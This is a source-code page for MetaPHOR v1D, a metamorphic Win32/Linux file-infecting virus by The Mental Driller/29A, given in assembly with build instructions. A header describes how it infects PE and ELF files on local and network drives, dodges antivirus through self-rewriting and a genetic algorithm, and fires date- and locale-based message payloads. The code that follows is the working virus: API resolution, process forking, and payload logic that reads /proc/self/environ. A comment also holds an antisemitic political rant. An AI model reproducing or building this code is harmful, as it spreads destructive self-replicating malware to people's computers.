-
Notifications
You must be signed in to change notification settings - Fork 6
/
METAPHOR.ASM
16877 lines (15703 loc) · 724 KB
/
METAPHOR.ASM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ---------------------------- ;;
;; * Win32/Linux.MetaPHOR v1D * ;;
;; ---------------------------- ;;
;; ;;
;; Metamorphic Permutating High-Obfuscating Reassembler ;;
;; ;;
;; Coded by The Mental Driller/29A ;;
;; ;;
;; ;;
;; This virus is only code. No tables, no indirect jumps, etc. etc. It ;;
;; doesn't uses the stack to construct strings, executable code or data: ;;
;; what I do is a reservation of 3'5 Mb of data (more or less) with ;;
;; VirtualAlloc/malloc and then use the decryptor to copy the decrypted ;;
;; virus there (or unencrypted, since it has a probability of 1/16 of being ;;
;; unencrypted, so the decryptor in that cases is in fact a copy routine). ;;
;; The reserved memory is organized in sections (as if it were a PE) where I ;;
;; do all the operations. ;;
;; ;;
;; Undex Linux: ;;
;; If malloc() nor exit() is imported by the executable, then it's not ;;
;; infected. If it has this two functions imported, then malloc is used in ;;
;; the decryptor ;;
;; ;;
;; Under Win32: ;;
;; VirtualAlloc will be retrieved by the decryptor if it's not imported by ;;
;; the host, and the host must import GetModuleHandleA/W or LoadLibraryA/W ;;
;; and GetProcAddress to be infected. This functions will be used by the ;;
;; virus to get the needed APIs. ;;
;; ;;
;; ;;
;; The type of metamorphism followed is what I call the "accordion model": ;;
;; disassembly/depermutation -> shrinking -> permutation -> expansion -> ;;
;; -> reassembly, so the code can be bigger or smaller than the previous ;;
;; generation. ;;
;; ;;
;; The metamorphism in this virus is complete: even the result of the ;;
;; shrinking can't be used for detection, because is different in every ;;
;; generation. That's the point where I introduce a new concept: dimensions ;;
;; in recoding (I mean, code that only get shrinked on two or more ;;
;; generations, but not in the immediate following; this would be the ;;
;; "third" dimension). This makes the disassembly to have always a different ;;
;; shape from generation to generation, but, when stabilized, never growing ;;
;; uncontrolablely. ;;
;; ;;
;; I have added a genetic algorithm in certain parts of the code to make it ;;
;; evolve to the best shape (the one that evades more detections, the action ;;
;; more stealthy, etc. etc.). It's a simple algorithm based on weights, so ;;
;; don't expect artificial intelligence :) (well, maybe in the future :P). ;;
;; ;;
;; I tried to comment the code as cleanly as possible, but well... :) ;;
;; ;;
;; If the code isn't optimized (in fact, it's NOT optimized), it's because: ;;
;; ;;
;; 1) It's more clear to see the code that the internal engine will deal ;;
;; with (for example, many times I use SUB ECX,1 instead of DEC ECX, ;;
;; although the disassembler can deal with both opcodes). ;;
;; 2) What's the point for optimizing the code when in next generation it ;;
;; will be completely unoptimized/garbled? :) ;;
;; 3) The obfuscation in next generations is bigger (MUCH bigger). ;;
;; ;;
;; ;;
;; General sheet of characteristics: ;;
;; ;;
;; Name of the virus.............: MetaPHOR v1D ;;
;; Author........................: The Mental Driller / 29A (when I made ;;
;; it, now ex-29A, ;;
;; for the moment) ;;
;; Size..........................: On 1st generation: aprox. 39450 bytes ;;
;; On next ones: variable, but not less ;;
;; than 80 Kb ;;
;; Targets.......................: Win32 PE EXEs, supporting three types ;;
;; of infection: mid-infection (when ;;
;; .reloc is present), at last section ;;
;; but using the padding space between ;;
;; sections to store the decrytor/mover, ;;
;; or all at last section. ;;
;; Linux ELFs, adding a new section in ;;
;; the data segment. ;;
;; It infects PEs/ELFs with a 50% of prob.;;
;; in current directory and going up the ;;
;; directory tree by three levels. It ;;
;; also retrieves the drive strings on ;;
;; the system and makes the same if they ;;
;; are fixed or network drives (on Win32) ;;
;; or it retrieves the mounted units and ;;
;; infects there. ;;
;; It uses EPO patching ExitProcess/_exit ;;
;; on Win32 and exit() on Linux. ;;
;; Stealth action................: It doesn't enter in directories that ;;
;; begin with 'W' (avoiding the windows ;;
;; directory) and doesn't infect files ;;
;; with a 'V' in the name or beginning ;;
;; with the letters 'PA', 'F-', 'SC', ;;
;; 'DR' or 'NO'. ;;
;; Genetic algorithm in the selection of ;;
;; the infection methods, the creation of ;;
;; of the decryptor and some more things ;;
;; to make it more resistant or more ;;
;; difficult to detect due to "evolution".;;
;; Encrypted.....................: Sometimes not. ;;
;; Polymorphic...................: Yes ;;
;; Metamorphic...................: Yes ;;
;; Payloads......................: For Win32: ;;
;; 1) A message box on 17h March and ;;
;; September with a metamorphic message ;;
;; :). ;;
;; 2) On 14h May and on hebrew systems it ;;
;; displays a messagebox with the text: ;;
;; "Free Palestine!" ;;
;; For Linux: ;;
;; Exactly the same payload but writing ;;
;; the strings to stdout. ;;
;; Anti-debugging................: Implicit ;;
;; Release history...............: ;;
;; v1A: 11-02-2002 (I just finished commenting the source code ;;
;; and correcting the bugs I found doing that). ;;
;; v1B: 14-02-2002 ;;
;; v1C: 06-05-2002 (just three weeks after I seriously began ;;
;; with Linux). ;;
;; v1D: 26-07-2004 Just to to correct a pair of bugs and add some ;;
;; comments. Detection now is a lot harder due to ;;
;; the correction of these bugs. ;;
;; ;;
;; ;;
;; To do in next versions: ;;
;; ;;
;; 1) Reassembly for different processors: IA64, Alpha, PowerPC, etc. I only ;;
;; have to code a new disassembler/reassembler, since for every internal ;;
;; operation I use a self-defined pseudo-assembler with its own opcodes. ;;
;; 2) Plug-in injector ;;
;; 3) More things (of course!! :). ;;
;; ;;
;; Thanks to: ;;
;; - 29A, members and ex-members ;;
;; - Old coders that made serious shit, and the others that discovered it. ;;
;; - Musicians that make my life easier. ;;
;; ;;
;; In this period of life I have (re)discovered dark music and extreme metal,;;
;; maybe when I was supposed to need some happier music, but what the heck! ;;
;; This time musical dedications go to Cradle of Filth and Dimmu Borgir. ;;
;; ;;
;; ;;
;; To assemble: ;;
;; TASM32 /m29A /ml MetaPHOR.asm ;;
;; TLINK32 -Tpe -aa -x MetaPHOR.obj,,,kernel32.lib ;;
;; ;;
;; No need of PEWRSEC! ;;
;; ;;
;; ;;
;; Quick reference (keyword search): ;;
;; ;;
;; Variable declaration........................: Key_!VarDeclr ;;
;; Beginning of virus..........................: Key_!VirusStart ;;
;; Disassembler................................: Key_!Disassembler ;;
;; Shrinker....................................: Key_!Shrinker ;;
;; Variable identificator......................: Key_!VarIdent ;;
;; Permutator..................................: Key_!Permutator ;;
;; Expander....................................: Key_!Xpander ;;
;; Reassembler.................................: Key_!Assembler ;;
;; Infection code..............................: Key_!Infector ;;
;; Decryptor maker.............................: Key_!MakePoly ;;
;; ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.386p
.model flat
locals
.code
ret ; All code in DATA section. TASM allow this and we
.data ; don't need to activate the write flag after assembling
; the code.
AddressToFree dd 0
extrn ExitProcess:PROC
extrn VirtualAlloc:PROC
extrn VirtualFree:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn MessageBoxA:PROC ; First generation imports
;; This code (PreMain) only exists at first generation.
;; PreMain is a loader of the virus in the same way an infected host will
;; load it.
PreMain proc
push 4
push 1000h
push 340000h ; Reserve 340000h bytes (~ 3.4Mb)
push 0
call VirtualAlloc
or eax, eax
jz @@Error
mov ebp, eax ; Set delta of reserved memory
mov [AddressToFree], eax
mov ebx, eax
mov esi, offset Main
mov edi, eax
mov ecx, offset EndOfCode
sub ecx, offset Main
rep movsb ; Copy virus
push __DISASM2_SECTION
push __DATA_SECTION
push __BUFFERS_SECTION
push __DISASM_SECTION
push __CODE_SECTION ; Push section addresses
mov eax, offset GetProcAddress
mov eax, [eax+2]
push eax ; Push needed APIs
mov eax, offset GetModuleHandleA
mov eax, [eax+2]
push eax
push 5*2 ; Bit 0=0: 'A', 1:'W' for GetModuleHandle
call ebx ; Call MetaPHOR!
push 0C000h
push 0
push dword ptr [AddressToFree]
call VirtualFree ; This isn't needed at all, since where
; our process is destroyed all the virtual memory
; allocated by it is deallocated automatically.
@@Error:
push 0
call ExitProcess
PreMain endp
;; Now we are executing in the reserved memory
;;
;; ATTENTION: LEAs loading offsets of variables are problematic (due to the
;; variable identificator) so, in the cases like string constructors and
;; getting info from FindFirst and FindNext the operations will be performed
;; directly into memory sections, to avoid them getting marked as variables.
;; In the entrance, the polymorphic loader/decryptor must pass the next data:
;;; DeltaReg --> Initialized (in this case, EBP)
;;;
;;; In reverse-push order (C-like):
;;; * (Number of register used for Delta SHL 1) AND (A/W flag for
;; GetModuleHandleA/W)
;;; * Address to GetModuleHandle in import table
;;; * Address to GetProcAddress in import table
;;; * Offset of CODE_SECTION
;;; * Offset of DISASM_SECTION
;;; * Offset of BUFFERS_SECTION
;;; * Offset of DATA_SECTION
;;; * Offset of DISASM2_SECTION
;;;
;;; All data passed is local to the engine, I mean, it can be modified (and
;;; in fact it will be modified) during the reassembly. In this way we don't
;;; have even the variables in a fixed delta location, although even keeping
;;; fixed section offsets the variables are relocated.
;;
;;
;; KEYWORD: Key_!VirusStart
Main proc
; EBP = Delta offset
pop ebx ; Return address
pop eax
mov ecx, eax
mov edx, eax
and eax, 1
mov [ebp+FlagAorW], eax ; Get if GetModuleHandle is A or W
and ecx, 0000000Eh
shr ecx, 1
mov [ebp+DeltaRegister], ecx ; Get the delta register nr.
and edx, 100h
shr edx, 8
mov [ebp+OperatingSystem], edx ; 0 = Win32, 1 = Linux
or edx, edx
jnz @@NoWin32APIs
pop eax
mov eax, [eax]
mov [ebp+RVA_GetModuleHandle], eax
pop eax
mov eax, [eax]
mov [ebp+RVA_GetProcAddress], eax
@@NoWin32APIs:
pop eax
and eax, 03FFFFFh ; Eliminate the two highest bits
mov [ebp+_CODE_SECTION], eax
pop eax
and eax, 03FFFFFh ; "
mov [ebp+_DISASM_SECTION], eax
pop eax
and eax, 03FFFFFh ; "
mov [ebp+_BUFFERS_SECTION], eax
mov [ebp+_LABEL_SECTION], eax ; Construct the other
add eax, 10000h ; section addresses
mov [ebp+_VARIABLE_SECTION], eax
add eax, 10000h
mov [ebp+_BUFFER1_SECTION], eax
add eax, 10000h
mov [ebp+_BUFFER2_SECTION], eax
add eax, 10000h
mov [ebp+_VAR_MARKS_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_DATA_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_DISASM2_SECTION], eax
push ebx ; Restore return value
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp
mov [ebp+OtherBuffers], eax
mov eax, '!'
call DebugOutput
mov eax, [ebp+OperatingSystem] ; Fork the process to return
or eax, eax ; to the command line and
jz @@Continue_DontFork ; continue in the background
mov eax, 2
push eax
xor eax, eax
push eax
push eax
xor eax, eax
push eax
call Linux_Syscall
mov eax, [ebp+ReturnValue]
or eax, eax
jnz @@Error
@@Continue_DontFork:
;; Let's set the weights for the genetic algorithm. These are code structures
;; recognized by the shrinker.
;; The initial values of the weights are not arbitrary: they are the initial
;; values that simulate the random behaviour that was before the addition of
;; this type of algorithm.
;; These code structures are shrinked as
;; SET_WEIGHT [ebp+Weight_X000_3],0,EAX,ECX
;; SET_WEIGHT [ebp+Weight_X004_7],1,EAX,ECX
;; and so on.
push eax
mov eax, 0
mov ecx, 10808080h ; Weights 3,2,1 and 0
mov [ebp+Weight_X000_3], ecx
pop eax
push eax
mov eax, 1
mov ecx, 10808010h ; Weights 7,6,5,4
mov [ebp+Weight_X004_7], ecx
pop eax
push eax
mov eax, 2
mov ecx, 80808055h ; Weights 11,10,9,8
mov [ebp+Weight_X008_11], ecx
pop eax
push eax
mov eax, 3
mov ecx, 80408080h ; Weights 15,14,13,12
mov [ebp+Weight_X012_15], ecx
pop eax
push eax
mov eax, 4
mov ecx, 55404040h ; Weights 19,18,17,16
mov [ebp+Weight_X016_19], ecx
pop eax
push eax
mov eax, 5
mov ecx, 0F0808080h ; Weights 23,22,21,20
mov [ebp+Weight_X020_23], ecx
pop eax
push eax
mov eax, 6
mov ecx, 80558080h ; Weights 27,26,25,24
mov [ebp+Weight_X024_27], ecx
pop eax
mov eax, [ebp+OperatingSystem] ; If Linux, use syscalls
or eax, eax
jnz @@DontRetrieveAPIs
;; Let's get the addresses of the APIs that we are going to use:
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, 'nrek'
mov [edx], eax
mov eax, '23le'
mov [edx+4], eax
mov eax, 'lld.'
mov [edx+8], eax
xor eax, eax
mov [edx+0Ch], eax ; Get the address of KERNEL32.DLL
call APICall_GetModuleHandle
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue]
or eax, eax ; Get the handle. If 0, we exit
jz @@Error
mov [ebp+hKernel], eax
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, 'resu'
mov [edx], eax
mov eax, 'd.23'
mov [edx+4], eax
mov eax, 'll'
mov [edx+8], eax ; Get the address of USER32.DLL
call APICall_GetModuleHandle
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue] ; It doesn't matter if we
mov [ebp+hUser32], eax ; failed: it's used only to
; get MessageBoxA for the
; payload
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov edi, [ebp+hKernel] ; Place to construct the addresses
; names
mov eax, 'aerC'
mov [edx], eax
mov eax, 'iFet'
mov [edx+4], eax
mov eax, 'Ael'
mov [edx+8], eax
call GetFunction ; Get CreateFileA
or eax, eax
jz @@Error
mov [ebp+RVA_CreateFileA], eax
mov eax, 'ppaM'
mov [edx+0Ah], eax
mov eax, 'Agni'
mov [edx+0Eh], eax
xor eax, eax
mov [edx+12h], eax
call GetFunction ; Get CreateFileMappingA
or eax, eax
jz @@Error
mov [ebp+RVA_CreateFileMappingA], eax
add edx, 2
mov eax, 'VpaM'
mov [edx], eax
mov eax, 'Owei'
mov [edx+4], eax
mov eax, 'liFf'
mov [edx+8], eax
mov eax, 'e'
mov [edx+0Ch], eax
call GetFunction ; Get MapViewOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_MapViewOfFile], eax
sub edx, 2
mov eax, 'amnU'
mov [edx], eax
call GetFunction ; Get UnmapViewOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_UnmapViewOfFile], eax
mov eax, 'SteG'
mov [edx], eax
mov eax, 'etsy'
mov [edx+4], eax
mov eax, 'miTm'
mov [edx+8], eax
mov eax, 'e'
mov [edx+0Ch], eax
call GetFunction ; Get GetSystemTime
or eax, eax
jz @@Error
mov [ebp+RVA_GetSystemTime], eax
mov eax, 'virD'
mov [edx+3], eax
mov eax, 'pyTe'
mov [edx+7], eax
mov eax, 'Ae'
mov [edx+0Bh], eax
call GetFunction ; Get GetDriveTypeA
or eax, eax
jz @@Error
mov [ebp+RVA_GetDriveTypeA], eax
mov eax, 'igoL'
mov [edx+3], eax
mov eax, 'Dlac'
mov [edx+7], eax
mov eax, 'evir'
mov [edx+0Bh], eax
mov eax, 'irtS'
mov [edx+0Fh], eax
mov eax, 'Asgn'
mov [edx+13h], eax
xor eax, eax
mov [edx+17h], eax
call GetFunction ; Get GetLogicalDriveStringsA
or eax, eax
jz @@Error
mov [ebp+RVA_GetLogicalDriveStringsA], eax
mov eax, 'tsyS'
mov [edx+3], eax
mov eax, 'eDme'
mov [edx+7], eax
mov eax, 'luaf'
mov [edx+0Bh], eax
mov eax, 'ICLt'
mov [edx+0Fh], eax
mov eax, 'D'
mov [edx+13h], eax
call GetFunction ; Get GetSystemDefaultLCID
or eax, eax
jz @@Error
mov [ebp+RVA_GetSystemDefaultLCID], eax
mov eax, 'CteS'
mov [edx], eax
mov eax, 'erru'
mov [edx+4], eax
mov eax, 'iDtn'
mov [edx+8], eax
mov eax, 'tcer'
mov [edx+0Ch], eax
mov eax, 'Ayro'
mov [edx+10h], eax
xor eax, eax
mov [edx+14h], eax
call GetFunction ; Get SetCurrentDirectoryA
or eax, eax
jz @@Error
mov [ebp+RVA_SetCurrentDirectoryA], eax
mov eax, 'FteG'
mov [edx], eax
mov eax, 'Seli'
mov [edx+4], eax
mov eax, 'ezi'
mov [edx+8], eax
call GetFunction ; Get GetFileSize
or eax, eax
jz @@Error
mov [ebp+RVA_GetFileSize], eax
mov eax, 'rttA'
mov [edx+7], eax
mov eax, 'tubi'
mov [edx+0Bh], eax
mov eax, 'Ase'
mov [edx+0Fh], eax
call GetFunction ; Get GetFileAttributesA
or eax, eax
jz @@Error
mov [ebp+RVA_GetFileAttributesA], eax
mov eax, 'FteS'
mov [edx], eax
call GetFunction ; Get SetFileAttributesA
or eax, eax
jz @@Error
mov [ebp+RVA_SetFileAttributesA], eax
mov eax, 'nioP'
mov [edx+7], eax
mov eax, 'ret'
mov [edx+0Bh], eax
call GetFunction ; Get SetFilePointer
or eax, eax
jz @@Error
mov [ebp+RVA_SetFilePointer], eax
mov eax, 'emiT'
mov [edx+7], eax
xor eax, eax
mov [edx+0Bh], eax
call GetFunction ; Get SetFileTime
or eax, eax
jz @@Error
mov [ebp+RVA_SetFileTime], eax
mov eax, 'OdnE'
mov [edx+3], eax
mov eax, 'liFf'
mov [edx+7], eax
mov eax, 'e'
mov [edx+0Bh], eax
call GetFunction ; Get SetEndOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_SetEndOfFile], eax
mov eax, 'dniF'
mov [edx], eax
mov eax, 'sriF'
mov [edx+4], eax
mov eax, 'liFt'
mov [edx+8], eax
mov eax, 'Ae'
mov [edx+0Ch], eax
call GetFunction ; Get FindFirstFileA
or eax, eax
jz @@Error
mov [ebp+RVA_FindFirstFileA], eax
mov eax, 'txeN'
mov [edx+4], eax
mov eax, 'eliF'
mov [edx+8], eax
mov eax, 'A'
mov [edx+0Ch], eax
call GetFunction ; Get FindNextFileA
or eax, eax
jz @@Error
mov [ebp+RVA_FindNextFileA], eax
mov eax, 'solC'
mov [edx+4], eax
mov eax, 'e'
mov [edx+8], eax
call GetFunction ; Get FindClose
or eax, eax
jz @@Error
mov [ebp+RVA_FindClose], eax
add edx, 4
mov eax, 'dnaH'
mov [edx+5], eax
mov eax, 'el'
mov [edx+9], eax
call GetFunction ; Get CloseHandle
or eax, eax
jz @@Error
mov [ebp+RVA_CloseHandle], eax
sub edx, 4
mov edi, [ebp+hUser32] ; Maybe NULL, but it's allowed by
mov eax, 'sseM' ; GetProcAddress
mov [edx], eax
mov eax, 'Bega'
mov [edx+4], eax
mov eax, 'Axo'
mov [edx+8], eax
call GetFunction ; Get MessageBoxA (from User32.DLL)
mov [ebp+RVA_MessageBoxA], eax ; 0 if not found or library
; not loaded
@@DontRetrieveAPIs:
;; Let's initialize the random seed
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@W32_GetSystemTime
mov eax, 0Dh ; Get the time of the system (Linux)
push eax
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
push eax
xor eax, eax
push eax
push eax
call Linux_Syscall
mov eax, [ebp+ReturnValue]
mov [ebp+RndSeed1], eax
mov eax, [ebp+_CODE_SECTION] ; Mix it with the first bytes
add eax, ebp ; of this mutation
mov eax, [eax+5]
mov [ebp+RndSeed2], eax
jmp @@GarbleRandomSeeds
@@W32_GetSystemTime:
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
push eax
call dword ptr [ebp+RVA_GetSystemTime]
pop edx
pop ecx
pop eax ; APICALL_END
mov ebx, [ebp+_BUFFER1_SECTION]
add ebx, ebp
mov eax, [ebx+04h]
add eax, [ebx+0Ch]
mov [ebp+RndSeed1], eax
add eax, [ebx+08h]
mov [ebp+RndSeed2], eax
@@GarbleRandomSeeds:
call Random
call Random ; Garble it a little
;; Now let's make some mixtures in the weights. Since the weights are
;; going to be hardcoded on the virus code before its use, we make here
;; some "garblement" to force the evolution of the infection methods. With
;; this, only the most powerful features will "survive".
xor ecx, ecx
@@LoopGarbleWeights:
push ecx
and ecx, 3
mov eax, ecx
call RandomBoolean_X000_3
mov eax, ecx
call RandomBoolean_X004_7
mov eax, ecx
call RandomBoolean_X008_11
mov eax, ecx
call RandomBoolean_X012_15
mov eax, ecx
call RandomBoolean_X016_19
mov eax, ecx
call RandomBoolean_X020_23
mov eax, ecx
call RandomBoolean_X024_27
pop ecx
add ecx, 1
cmp ecx, 40h
jnz @@LoopGarbleWeights
;; Payload
;;---------
;; Simple, silly MessageBox with a metamorphic message :)
;; The message is "MetaPHOR v1 by The Mental Driller/29A" but selecting
;; randomly the case of all letters.
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@TryWin32Payload
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov eax, [edx]
xor esi, esi
mov ecx, 2
mov ebx, 3C93DC80h ; Seconds time-stamp for 17/03/2002
@@LoopCheckDay_1:
cmp eax, ebx
jb @@CheckPayload2
add ebx, 15180h
cmp eax, ebx
jb @@MakePayload
add ebx, 0F29400h - 15180h ; Add the "distance" in seconds
cmp eax, ebx ; from 17/03 to 17/09
jb @@CheckPayload2
add ebx, 15180h
cmp eax, ebx
jb @@MakePayload
add ebx, 0EE9F80h - 15180h ; Add to get the next year
add ecx, 1
and ecx, 3
or ecx, ecx
jnz @@DontAddFeb29th_1
add ebx, 15180h
@@DontAddFeb29th_1:
inc esi
cmp esi, 20h
jbe @@LoopCheckDay_1
jmp @@CheckPayload2
@@TryWin32Payload:
mov eax, [ebp+RVA_MessageBoxA]
or eax, eax
jz @@NoPayload ; If we couldn't retrieve MessageBoxA,
; skip the payload
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov eax, [edx+2]
and eax, 0FFh
cmp eax, 3 ; Month: March, June, September or
jz @@Payload_Month ; December
;cmp eax, 6
;jz @@Payload_Month
cmp eax, 9
; jz @@Payload_Month
;cmp eax, 0Ch
jnz @@CheckPayload2
@@Payload_Month:
mov eax, [edx+6]
and eax, 0FFh
cmp eax, 11h ; Day: 17
jnz @@CheckPayload2
@@MakePayload:
mov ecx, edx
push edx
call Random
and eax, 20202020h ;; All the phrase is:
add eax, 'ATEM' ;; "META"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ROHP' ;; "PHOR"
mov [edx], eax
add edx, 4
call Random
and eax, 00200000h
add eax, ' D1 ' ;; " 1D "
mov [edx], eax
add edx, 4
call Random
and eax, 20002020h
add eax, 'T YB' ;; "BY T"
mov [edx], eax
add edx, 4
call Random
and eax, 20002020h
add eax, 'M EH' ;; "HE M"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ATNE' ;; "ENTA"
mov [edx], eax
add edx, 4
call Random
and eax, 20200020h
add eax, 'RD L' ;; "L DR"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ELLI' ;; "ILLE"
mov [edx], eax
add edx, 4
call Random
and eax, 00000020h
add eax, '92/R' ;; "R/29"
mov [edx], eax
add edx, 4
call Random
and eax, 0FFFF0020h
add eax, 'A' ;; "A"
mov [edx], eax
sub edx, ecx
mov ecx, edx
pop edx
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@MakeMessageBox
add ecx, 2 ; Add an intro under Linux
mov eax, 0Ah
add edx, ecx
mov [edx-1], eax
sub edx, ecx
mov eax, 4
push eax
mov eax, 1
push eax
push edx
xor eax, eax
push ecx
call Linux_Syscall ; Write it to stdout
jmp @@EndPayload
@@MakeMessageBox:
; "METAPHOR 1D BY THE MENTAL DRILLER/29A"
push eax ; with random upcases and lowcases.
push ecx
push edx ; APICALL_BEGIN
xor eax, eax
push eax
mov eax, edx
push eax
push eax
xor eax, eax
push eax
call dword ptr [ebp+RVA_MessageBoxA]
pop edx
pop ecx
pop eax
jmp @@EndPayload
; Not so-silly 2nd part of the payload.
; We get the system language and, if it's hebrew, we show a message box with
; the message "Free Palestine!", my little contribution against the illegal
; occupation performed by the jews and supported by the USA. The message will
; show on 14 May, the day that the state of Israel was self-declarated.
; Notice that I'm not supporting organizations like Hamas or shit like that,
; but it's true that jews began the war stealing the Palestinian home to
; the Palestinian People. Anyway, killing people is not the solution
; (wherever the side of the conflict they are in).
@@CheckPayload2:
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@TryWin32Payload_2
mov eax, [edx]
mov [ebp+Linux_SecondsCount], eax ; Save seconds
mov eax, 'orp/' ; Open the environment variables for
mov [edx], eax ; this process
mov eax, 'es/c'
mov [edx+4], eax
mov eax, 'e/fl'
mov [edx+8], eax
mov eax, 'rivn'
mov [edx+0Ch], eax
mov eax, 'no'
mov [edx+10h], eax
mov eax, 5
push eax
push edx
xor eax, eax
push eax
push eax
call Linux_Syscall ; Open /proc/self/environ
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@NoPayload
cmp eax, 0FFFFF000h
jae @@NoPayload
mov [ebp+hFile], eax
mov ebx, eax
mov eax, 3 ; Read the file
push eax
push ebx
mov eax, edx
push eax
mov eax, 1000h
push eax
call Linux_Syscall
mov eax, [ebp+ReturnValue]
push eax
mov eax, 6 ; Close the file descriptor
push eax
mov eax, [ebp+hFile]
push eax
xor eax, eax
push eax
push eax
call Linux_Syscall
pop eax
cmp eax, 8
jbe @@NoPayload
cmp eax, 3FF8h ; If too big, exit from payload rout.
jae @@NoPayload
;; We get the Linux locale
mov esi, [ebp+_BUFFER1_SECTION]
add esi, ebp
mov edx, esi
sub eax, 8
; EAX = Count
@@LoopSearchLANG:
mov ecx, [esi]
and ecx, 0DFDFDFDFh ; Search the language variable
cmp ecx, 'GNAL' AND 0DFDFDFDFh
jz @@MaybeLANGFound
@@SearchLANGNext:
add esi, 1
sub eax, 1
or eax, eax
jnz @@LoopSearchLANG
jmp @@NoPayload
@@MaybeLANGFound:
mov ecx, [esi+4]
and ecx, 0FFh
cmp ecx, '='
jnz @@SearchLANGNext
mov ecx, [esi+5]
and ecx, 0000DFDFh ; Hebrew?